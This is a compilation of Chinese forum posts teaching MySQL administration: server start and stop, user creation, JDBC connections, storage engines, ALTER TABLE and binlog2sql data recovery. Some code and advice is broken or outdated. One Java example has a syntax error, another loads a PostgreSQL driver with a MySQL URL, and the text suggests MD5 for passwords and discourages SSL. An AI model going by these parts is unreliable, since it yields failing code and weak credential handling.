    启动及关闭 MySQL 服务器Windows 系统下在 Windows 系统下,打开命令窗口(cmd),进入 MySQL 安装目录的 bin 目录。启动:cd c:/mysql/bin mysqld --consoleLinux 系统下首先,我们需要通过以下命令来检查MySQL服务器是否启动:ps -ef | grep mysqld如果MySql已经启动,以上命令将输出mysql进程列表, 如果mysql未启动,你可以使用以下命令来启动mysql服务器:root@host# cd /usr/bin./mysqld_safe &如果你想关闭目前运行的 MySQL 服务器, 你可以执行以下命令:root@host# cd /usr/bin./mysqladmin -u root -p shutdownEnter password: ******MySQL 用户设置如果你需要添加 MySQL 用户,你只需要在 mysql 数据库中的 user 表添加新用户即可。以下为添加用户的的实例,用户名为guest,密码为guest123,并授权用户可进行 SELECT, INSERT 和 UPDATE操作权限:root@host# mysql -u root -pEnter password:*******mysql> use mysql;Database changed mysql> INSERT INTO user            (host, user, password,             select_priv, insert_priv, update_priv)             VALUES ('localhost', 'guest',             PASSWORD('guest123'), 'Y', 'Y', 'Y');Query OK, 1 row affected (0.20 sec)mysql> FLUSH PRIVILEGES;Query OK, 1 row affected (0.01 sec) mysql> SELECT host, user, password FROM user WHERE user = 'guest';            +-----------+---------+------------------+            | host      | user    | password|                 +-----------+---------+------------------+             | localhost | guest | 6f8c114b58f2ce9e|             +-----------+---------+------------------+             1 row in set (0.00 sec)在添加用户时,请注意使用MySQL提供的 PASSWORD() 函数来对密码进行加密。 你可以在以上实例看到用户密码加密后为: 6f8c114b58f2ce9e.注意:在 MySQL5.7 中 user 表的 password 已换成了authentication_string。注意:password() 加密函数已经在 8.0.11 中移除了,可以使用 MD5() 函数代替。注意:在注意需要执行 FLUSH PRIVILEGES 语句。 这个命令执行后会重新载入授权表。如果你不使用该命令,你就无法使用新创建的用户来连接mysql服务器,除非你重启mysql服务器。你可以在创建用户时,为用户指定权限,在对应的权限列中,在插入语句中设置为 'Y' 即可.管理MySQL的命令以下列出了使用Mysql数据库过程中常用的命令:USE 数据库名 :选择要操作的Mysql数据库,使用该命令后所有Mysql命令都只针对该数据库。mysql> use RUNOOB; Database changedSHOW DATABASES:列出 MySQL 数据库管理系统的数据库列表。mysql> SHOW DATABASES; +--------------------+ | Database           | +--------------------+ | information_schema | | RUNOOB             | | cdcol              | | mysql              | | onethink           | | performance_schema | | phpmyadmin         | | test               | | wecenter           | | wordpress          | +--------------------+ 10 rows in set (0.02 sec)SHOW COLUMNS FROM 数据表:显示数据表的属性,属性类型,主键信息 ,是否为 NULL,默认值等其他信息。mysql> SHOW COLUMNS FROM runoob_tbl; +-----------------+--------------+------+-----+---------+-------+ | Field           | Type         | Null | Key | Default | Extra | +-----------------+--------------+------+-----+---------+-------+ | runoob_id       | int(11)      | NO   | PRI | NULL    |       | | runoob_title    | varchar(255) | YES  |     | NULL    |       | | runoob_author   | varchar(255) | YES  |     | NULL    |       | | submission_date | date         | YES  |     | NULL    |       | +-----------------+--------------+------+-----+---------+-------+ 4 rows in set (0.01 sec)
  • [技术干货] 如何通过JDBC连接MySQL数据库
    通过JDBC连接实例的方式有无需下载SSL证书连接和用户下载SSL证书连接两种,其中使用SSL证书连接通过了加密功能,具有更高的安全性。MySQL新实例默认关闭SSL数据加密,开启SSL请参考设置SSL数据加密。SSL连接实现了数据加密功能,但同时也会增加网络连接响应时间和CPU消耗,不建议开启SSL数据加密。前提条件用户需要具备以下技能:熟悉计算机基础知识。了解java编程语言。了解JDBC基础知识。使用SSL证书连接说明:该方式属于SSL连接模式,需要下载SSL证书,通过证书校验并连接数据库。通过JDBC连接MySQL数据库,代码中的JDBC链接格式如下:jdbc:mysql://<instance_ip>:<instance_port>/<database_name>?sslmode=verify-full&sslrootcert=<ca.pem>参数说明<instance_ip>如果通过弹性云服务器连接,“instance_ip”是主机IP,即“基本信息”页面该实例的“内网地址”。如果通过连接了公网的设备访问,“instance_ip”为该实例已绑定的“弹性公网IP”。<instance_port>端口,默认3306,当前端口,参考“基本信息”页面该实例的“数据库端口”。<database_name>数据库名,即需要连接的数据库名(默认的管理数据库是mysql)。sslmodessl连接模式,默认全认证模式。sslrootcertssl连接CA证书路径,该文件需放在执行该命令的路径下连接MySQL数据库的java代码,可参考以下示例:import java.sql.Connection;  import java.sql.DriverManager;  import java.sql.ResultSet;  import java.sql.Statement; import java.sql.SQLException;    public class MyConnTest {      final public static void main(String[] args) {          Connection conn = null;           Statement stat = null;        // set sslmode here.         // with ssl certificate and path.         String url = "jdbc:mysql://192.168.0.225:3306/my_db_test?sslmode=verify-full&sslrootcert=/home/Ruby/ca.pem";            try {              Class.forName("com.mysql.jdbc.Driver");              conn = DriverManager.getConnection(url, "root", "password");              System.out.println("Database connected");                Statement stmt = conn.createStatement();                String sql = "SELECT * FROM mytable WHERE columnfoo = 500";             ResultSet rs = stmt.executeQuery sql);              while (rs.next()) {                  System.out.println(rs.getString(1));              }                rs.close();              stmt.close();              conn.close();          } catch (Exception e) {              e.printStackTrace();              System.out.println("Test failed");          } finally {              // release resource ....          }      }  }无证书连接该方式属于SSL连接模式,但不对服务端进行证书校验,用户无需下载SSL证书。该方式属于SSL连接模式,但不对服务端进行证书校验,用户无需下载SSL证书。通过JDBC连接MySQL数据库实例,代码中的JDBC链接格式如下:jdbc:mysql://<instance_ip>:<instance_port>/<database_name>?sslmode=require参数说明<instance_ip>如果通过弹性云服务器连接,“instance_ip”是主机IP,即“基本信息”页面该实例的“内网地址”。如果通过连接了公网的设备访问,“instance_ip”为该实例已绑定的“弹性公网IP”。<instance_port>端口,默认3306,当前端口,参考“基本信息”页面该实例的“数据库端口”。<database_name>数据库名,即需要连接的数据库名(默认的管理数据库是mysql)。sslmodessl连接模式,require模式表示进行数据加密。连接MySQL数据库的java代码,可参考以下示例:import java.sql.Connection; import java.sql.DriverManager; import java.sql.ResultSet; import java.sql.Statement; public class MyConnTest { final public static void main(String[] args) { Connection conn = null; // set sslmode here. // no ssl certificate, so do not specify path. String url = "jdbc:mysql://192.168.0.225:3306/my_db_test?sslmode=require"; try { Class.forName("org.postgresql.Driver"); conn = DriverManager.getConnection(url, "root", "password"); System.out.println("Database connected"); Statement stmt = conn.createStatement(); ResultSet rs = stmt.executeQuery("SELECT * FROM mytable WHERE columnfoo = 500"); while (rs.next()) { System.out.println(rs.getString(1)); } rs.close(); stmt.close(); conn.close(); } catch (Exception e) { e.printStackTrace(); System.out.println("Test failed"); } finally { // release resource .... } } }
  • [技术干货] MySQL存储引擎
    接下来介绍一下存储引擎的基本概念、MySQL 支持的存储引擎、存储引擎的选择以及操作默认存储引擎。什么是存储引擎数据库存储引擎是数据库底层软件组件,数据库管理系统使用数据引擎进行创建、查询、更新和删除数据操作。不同的存储引擎提供不同的存储机制、索引技巧、锁定水平等功能,使用不同的存储引擎还可以获得特定的功能。现在许多数据库管理系统都支持多种不同的存储引擎。MySQL 的核心就是存储引擎。提示:InnoDB 事务型数据库的首选引擎,支持事务安全表(ACID),支持行锁定和外键。MySQL 5.5.5 之后,InnoDB 作为默认存储引擎。MyISAM 是基于 ISAM 的存储引擎,并对其进行扩展,是在 Web、数据仓储和其他应用环境下最常使用的存储引擎之一。MyISAM 拥有较高的插入、查询速度,但不支持事务。MEMORY 存储引擎将表中的数据存储到内存中,为查询和引用其他数据提供快速访问。MySQL 5.7 支持的存储引擎MySQL 支持多种类型的数据库引擎,可分别根据各个引擎的功能和特性为不同的数据库处理任务提供各自不同的适应性和灵活性。在 MySQL 中,可以利用 SHOW ENGINES 语句来显示可用的数据库引擎和默认引擎。MySQL 提供了多个不同的存储引擎,包括处理事务安全表的引擎和处理非事务安全表的引擎。在 MySQL 中,不需要在整个服务器中使用同一种存储引擎,针对具体的要求,可以对每一个表使用不同的存储引擎。MySQL 5.7 支持的存储引擎有 InnoDB、MyISAM、Memory、Merge、Archive、Federated、CSV、BLACKHOLE 等。可以使用SHOW ENGINES语句查看系统所支持的引擎类型,结果如图所示。Support 列的值表示某种引擎是否能使用,YES表示可以使用,NO表示不能使用,DEFAULT表示该引擎为当前默认的存储引擎。如何选择 MySQL 存储引擎不同的存储引擎都有各自的特点,以适应不同的需求,如表所示。为了做出选择,首先要考虑每一个存储引擎提供了哪些不同的功能。功能MylSAMMEMORYInnoDBArchive存储限制256TBRAM64TBNone支持事务NoNoYesNo支持全文索引YesNoNoNo支持树索引YesYesYesNo支持哈希索引NoYesNoNo支持数据缓存NoN/AYesNo支持外键NoNoYesNo可以根据以下的原则来选择 MySQL 存储引擎:如果要提供提交、回滚和恢复的事务安全(ACID 兼容)能力,并要求实现并发控制,InnoDB 是一个很好的选择。如果数据表主要用来插入和查询记录,则 MyISAM 引擎提供较高的处理效率。如果只是临时存放数据,数据量不大,并且不需要较高的数据安全性,可以选择将数据保存在内存的 MEMORY 引擎中,MySQL 中使用该引擎作为临时表,存放查询的中间结果。如果只有 INSERT 和 SELECT 操作,可以选择Archive 引擎,Archive 存储引擎支持高并发的插入操作,但是本身并不是事务安全的。Archive 存储引擎非常适合存储归档数据,如记录日志信息可以使用 Archive 引擎。提示:使用哪一种引擎要根据需要灵活选择,一个数据库中多个表可以使用不同的引擎以满足各种性能和实际需求。使用合适的存储引擎将会提高整个数据库的性能。MySQL 默认存储引擎InnoDB 是系统的默认引擎,支持可靠的事务处理。使用下面的语句可以修改数据库临时的默认存储引擎SET default_storage_engine=< 存储引擎名 >例如,将 MySQL 数据库的临时默认存储引擎修改为 MyISAM,输入的 SQL 语句和运行结果如图所示。此时,可以发现 MySQL 的默认存储引擎已经变成了 MyISAM。但是当再次重启客户端时,默认存储引擎仍然是 InnoDB
  • [技术干货] MySQL修改数据表(ALTER TABLE语句)
    为实现数据库中表规范化设计的目的,有时候需要对之前已经创建的表进行结构修改或者调整。在 MySQL 中可以使用 ALTER TABLE 语句来改变原有表的结构,例如增加或删减列、创建或取消索引、更改原有列类型、重新命名列或表等。基本语法修改表指的是修改数据库中已经存在的数据表的结构。MySQL 使用 ALTER TABLE 语句修改表。常用的修改表的操作有修改表名、修改字段数据类型或字段名、增加和删除字段、修改字段的排列位置、更改表的存储引擎、删除表的外键约束等。常用的语法格式如下:ALTER TABLE <表名> [修改选项]修改选项的语法格式如下:{ ADD COLUMN <列名> <类型>| CHANGE COLUMN <旧列名> <新列名> <新列类型>| ALTER COLUMN <列名> { SET DEFAULT <默认值> | DROP DEFAULT }| MODIFY COLUMN <列名> <类型>| DROP COLUMN <列名>| RENAME TO <新表名> }添加字段随着业务的变化,可能需要在已经存在的表中添加新的字段,一个完整的字段包括字段名、数据类型、完整性约束。添加字段的语法格式如下:ALTER TABLE <表名> ADD <新字段名> <数据类型> [约束条件] [FIRST|AFTER 已存在的字段名];新字段名为需要添加的字段的名称;FIRST 为可选参数,其作用是将新添加的字段设置为表的第一个字段;AFTER 为可选参数,其作用是将新添加的字段添加到指定的已存在的字段名的后面。【实例 1】使用 ALTER TABLE 修改表 tb_emp1 的结构,在表的第一列添加一个 int 类型的字段 col1,输入的 SQL 语句和运行结果如下所示。mysql> ALTER TABLE tb_emp1     -> ADD COLUMN col1 INT FIRST; Query OK, 0 rows affected (0.94 sec) Records: 0  Duplicates: 0  Warnings: 0 mysql> DESC tb_emp1; +--------+-------------+------+-----+---------+-------+ | Field  | Type        | Null | Key | Default | Extra | +--------+-------------+------+-----+---------+-------+ | col1   | int(11)     | YES  |     | NULL    |       | | id     | int(11)     | YES  |     | NULL    |       | | name   | varchar(25) | YES  |     | NULL    |       | | deptId | int(11)     | YES  |     | NULL    |       | | salary | float       | YES  |     | NULL    |       | +--------+-------------+------+-----+---------+-------+ 5 rows in set (0.00 sec)提示:“FIRST 或 AFTER 已存在的字段名”用于指定新增字段在表中的位置,如果 SQL 语句中没有这两个参数,则默认将新添加的字段设置为数据表的最后列。【实例 2】使用 ALTER TABLE 修改表 tb_emp1 的结构,在一列 name 后添加一个 int 类型的字段 col2,输入的 SQL 语句和运行结果如下所示。mysql> ALTER TABLE tb_emp1     -> ADD COLUMN col2 INT AFTER name; Query OK, 0 rows affected (0.50 sec) Records: 0  Duplicates: 0  Warnings: 0 mysql> DESC tb_emp1; +--------+-------------+------+-----+---------+-------+ | Field  | Type        | Null | Key | Default | Extra | +--------+-------------+------+-----+---------+-------+ | col1   | int(11)     | YES  |     | NULL    |       | | id     | int(11)     | YES  |     | NULL    |       | | name   | varchar(25) | YES  |     | NULL    |       | | col2   | int(11)     | YES  |     | NULL    |       | | deptId | int(11)     | YES  |     | NULL    |       | | salary | float        | YES  |     | NULL    |       | +--------+-------------+------+-----+---------+-------+ 6 rows in set (0.00 sec)可以看到,表 tb_emp1 中增加了一个名称为 col2 的字段,其位置在指定的 name 字段后面,添加字段成功。修改字段数据类型修改字段的数据类型就是把字段的数据类型转换成另一种数据类型。在 MySQL 中修改字段数据类型的语法规则如下:ALTER TABLE <表名> MODIFY <字段名> <数据类型>其中,表名指要修改数据类型的字段所在表的名称,字段名指需要修改的字段,数据类型指修改后字段的新数据类型。【实例 3】使用 ALTER TABLE 修改表 tb_emp1 的结构,将 name 字段的数据类型由 VARCHAR(22) 修改成 VARCHAR(30),输入的 SQL 语句和运行结果如下所示。mysql> ALTER TABLE tb_emp1     -> MODIFY name VARCHAR(30); Query OK, 0 rows affected (0.15 sec) Records: 0  Duplicates: 0  Warnings: 0 mysql> DESC tb_emp1; +--------+-------------+------+-----+---------+-------+ | Field  | Type        | Null | Key | Default | Extra | +--------+-------------+------+-----+---------+-------+ | col1   | int(11)     | YES  |     | NULL    |       | | id     | int(11)     | YES  |     | NULL    |       | | name   | varchar(30) | YES  |     | NULL    |       | | col2   | int(11)     | YES  |     | NULL    |       | | deptId | int(11)     | YES  |     | NULL    |       | | salary | float        | YES  |     | NULL    |       | +--------+-------------+------+-----+---------+-------+ 6 rows in set (0.00 sec)语句执行后,发现表 tb_emp1 中 name 字段的数据类型已经修改成 VARCHAR(30),修改成功。删除字段删除字段是将数据表中的某个字段从表中移除,语法格式如下:ALTER TABLE <表名> DROP <字段名>;其中,字段名指需要从表中删除的字段的名称。【实例 4】使用 ALTER TABLE 修改表 tb_emp1 的结构,删除 col2 字段,输入的 SQL 语句和运行结果如下所示。mysql> ALTER TABLE tb_emp1     -> DROP col2; Query OK, 0 rows affected (0.53 sec) Records: 0  Duplicates: 0  Warnings: 0 mysql> DESC tb_emp1; +--------+-------------+------+-----+---------+-------+ | Field  | Type        | Null | Key | Default | Extra | +--------+-------------+------+-----+---------+-------+ | col1   | int(11)     | YES  |     | NULL    |       | | id     | int(11)     | YES  |     | NULL    |       | | name   | varchar(30) | YES  |     | NULL    |       | | deptId | int(11)     | YES  |     | NULL    |       | | salary | float        | YES  |     | NULL    |       | +--------+-------------+------+-----+---------+-------+ 5 rows in set (0.00 sec)修改字段名称MySQL 中修改表字段名的语法规则如下:ALTER TABLE <表名> CHANGE <旧字段名> <新字段名> <新数据类型>;其中,旧字段名指修改前的字段名;新字段名指修改后的字段名;新数据类型指修改后的数据类型,如果不需要修改字段的数据类型,可以将新数据类型设置成与原来一样,但数据类型不能为空。【实例 5】使用 ALTER TABLE 修改表 tb_emp1 的结构,将 col1 字段名称改为 col3,同时将数据类型变为 CHAR(30),输入的 SQL 语句和运行结果如下所示。mysql> ALTER TABLE tb_emp1     -> CHANGE col1 col3 CHAR(30); Query OK, 0 rows affected (0.76 sec) Records: 0  Duplicates: 0  Warnings: 0 mysql> DESC tb_emp1; +--------+-------------+------+-----+---------+-------+ | Field  | Type        | Null | Key | Default | Extra | +--------+-------------+------+-----+---------+-------+ | col3   | char(30)    | YES  |     | NULL    |       | | id     | int(11)     | YES  |     | NULL    |       | | name   | varchar(30) | YES  |     | NULL    |       | | deptId | int(11)     | YES  |     | NULL    |       | | salary | float        | YES  |     | NULL    |       | +--------+-------------+------+-----+---------+-------+ 5 rows in set (0.01 sec)CHANGE 也可以只修改数据类型,实现和 MODIFY 同样的效果,方法是将 SQL 语句中的“新字段名”和“旧字段名”设置为相同的名称,只改变“数据类型”。提示:由于不同类型的数据在机器中的存储方式及长度并不相同,修改数据类型可能会影响数据表中已有的数据记录,因此,当数据表中已经有数据时,不要轻易修改数据类型。修改表名MySQL 通过 ALTER TABLE 语句来实现表名的修改,语法规则如下:ALTER TABLE <旧表名> RENAME [TO] <新表名>;其中,TO 为可选参数,使用与否均不影响结果。【实例 6】使用 ALTER TABLE 将数据表 tb_emp1 改名为 tb_emp2,输入的 SQL 语句和运行结果如下所示。mysql> ALTER TABLE tb_emp1     -> RENAME TO tb_emp2; mysql> SHOW TABLES; +--------------------+ | Tables_in_test_db  | +--------------------+ | tb_emp2            | +--------------------+ 1 rows in set (0.00 sec)提示:用户可以在修改表名称时使用 DESC 命令查看修改后两个表的结构,修改表名并不修改表的结构,因此修改名称后的表和修改名称前的表的结构是相同的。
  • [技术干货] 简单介绍MySQL 两种恢复数据的方式
    在做开发测试环境和生产误操作导致数据库误删除/更新,对DBA而言,回滚数据着实是一件头疼的事情,凡涉及到恢复线上数据必然对应用带来一定的影响。较多的情况是开发误操作delete数据,update多数行,根据之前的操作经验,下面介绍常用的恢复方法。1 .利用备份恢复使用这种方式的前提必须有最近的备份集或者知道出现误操作起始的binlog 位点或者GTID,利用备份集恢复到中间的机器上,然后利用MySQL的slave 特性START SLAVE [SQL_THREAD] UNTIL MASTER_LOG_FILE = 'log_name', MASTER_LOG_POS = log_pos;until_option:UNTIL { {SQL_BEFORE_GTIDS | SQL_AFTER_GTIDS} = gtid_set | MASTER_LOG_FILE = 'log_name',  MASTER_LOG_POS = log_pos | RELAY_LOG_FILE = 'log_name', RELAY_LOG_POS = log_pos | SQL_AFTER_MTS_GAPS }恢复出到一个临时的实例,将误删除,更新的数据 dump 出来并恢复到老的实例里面。恢复数据期间的受影响的表最好不可写,否则将难以达到最想要的结果。例如 a=2 ,被误更新为 a=4,恢复的期间有被更新为a=7 ,结果恢复后又恢复为a=2 。 此种恢复方式 不适合恢复大量数据库,且需要临时实例。2.2 利用开源工具binlog2sql 恢复binlog2sql 是大众点评公司的DBA 开发的一款基于通过解析binlog将delete 恢复为insert,update 的值 set 字段和where条件做对调的原理来恢复数据的。 使用限制 MySQL的binlog format 必须是row 安装git clone https://github.com/danfengcao/binlog2sql.git && cd binlog2sql pip install -r requirements.txt用法usage: binlog2sql.py [-h HOST] [-u USER]             [-p PASSWORD] [-P PORT]            [--start-file STARTFILE]             [--start-position STARTPOS]            [--stop-file ENDFILE]             [--stop-position ENDPOS]            [--start-datetime STARTTIME]             [--stop-datetime STOPTIME]            [--stop-never]             [-d [DATABASES [DATABASES ...]]]            [-t [TABLES [TABLES ...]]]             [-K] [-B]            [--help]例子create table flashback( id int(11) not null auto_increment primary key , stat int(11) not null default 1  ) engine=innodb default charset=utf8; insert into flashback(stat)  values (2),(3),(4),(7),(9),(22),(42),(33),(66),(88)误操作update flashback set stat=15恢复数据的步骤1.获取误操作的dml所在的binlog,不过一般开发可不知道具体binlog,他们只知道什么时间误操作了,binlog2sql支持按照时间范围恢复。mysql> show master logs; +------------------+-----------+ | Log_name     | File_size | +------------------+-----------+ | mysql-bin.000009 | 177 | | mysql-bin.000010 | 464 | | mysql-bin.000011 | 8209 | +------------------+-----------+ 3 rows in set (0.00 sec)例子中binlog为mysql-bin.0000112.利用binlog2sql 恢复数据,先解析binlog获取 update 语句的起始位点,本例中 start 5087 end 5428,执行命令python binlog2sql.py -h127.0.0.1 -P3307 -udba -p'dbadmin' -dyang -tflashback --start-file='mysql-bin.000011'使用binlog2sql -B 参数得到恢复的sql将获取到的sql 执行到数据库,假如生产环境中真的发生了问题,一定要和开发沟通并且确认需要恢复的确切记录。mysql> select * from flashback; +----+------+ | id | stat | +----+------+ | 1 | 2 | | 2 | 3 | | 3 | 4 | | 4 | 7 | | 5 | 9 | | 6 | 22 | | 7 | 42 | | 8 | 33 | | 9 | 66 | | 10 | 88 | +----+------+ 10 rows in set (0.00 sec)binlog2sql的特点:mysql server必须开启,离线模式下不能解析 优点(对比mysqlbinlog) 。纯Python开发,安装与使用都很简单。自带flashback、no-primary-key解析模式,无需再装补丁。flashback模式下,更适合闪回实战。解析为标准SQL,方便理解、调试。代码容易改造,可以支持更多个性化解析.其实MySQL 还提供了一个参数 sql_safe_updates,该参数将禁止 不带where 条件的delete和update语句。具体用法和介绍还请参考MySQL官方介绍。